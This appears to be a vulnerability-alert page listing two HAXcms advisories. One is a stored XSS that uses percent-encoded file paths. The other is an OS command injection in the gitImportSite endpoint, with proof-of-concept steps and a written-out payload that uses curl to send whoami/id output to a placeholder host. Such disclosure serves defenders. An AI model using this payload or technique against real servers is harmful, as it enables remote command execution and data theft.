Where
-Infinity
0

Vendor Risk Score

See how haxtheweb compares to other vendors in security performance

View Risk Score →
Severity
5.1
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

HAXcms Node.js 25.0.0 before 26.11.0 contains a stored cross-site scripting vulnerability that allows authenticated users with media upload permission to bypass the files/ HTML download guard using percent-encoded paths. Attackers can upload an HTML file containing script and send victims links like /files/evil%2ehtml, which are served inline as text/html, executing script in the HAXcms origin with the victim's session context.

First published (updated )
Severity
8.8
EPSS
0.29%
OS Command Injection, Command Injection
AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

Summary The 'gitImportSite' functionality obtains a URL string from a POST request and insufficiently validates user input. The ’setremote’ function later passes this input into ’procopen’, yielding OS command injection.

Details The vulnerability exists in the logic of the ’gitImportSite’ function, located in ’Operations.php’. The current implementation only relies on the ’filtervar’ and 'strpos' functions to validate the URL, which is not sufficient to ensure absence of all Bash special characters used for command injection. !gitImportSite

Affected Resources • Operations.php:2103 gitImportSite() • \<domain\>/\<user\>/system/api/gitImportSite

PoC To replicate this vulnerability, authenticate and send a POST request to the 'gitImportSite' endpoint with a crafted URL in the JSON data. Note, a valid token needs to be obtained by capturing a request to another API endpoint (such as 'archiveSite').

1. Start a webserver. !webserver

2. Initiate a request to the ’archiveSite’ endpoint. !archiveSite

3. Capture and modify the request in BurpSuite. !request-modification

4. Observe command output in the HTTP request from the server. !command-output

Command Injection Payload Bash http://<IP>/.git;curl${IFS}<IP>/$(whoami)/$(id)#=abcdef

Impact An authenticated attacker can craft a URL string that bypasses the validation checks employed by the ’filtervar’ and ’strpos’ functions in order to execute arbitrary OS commands on the backend server. The attacker can exfiltrate command output via an HTTP request.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203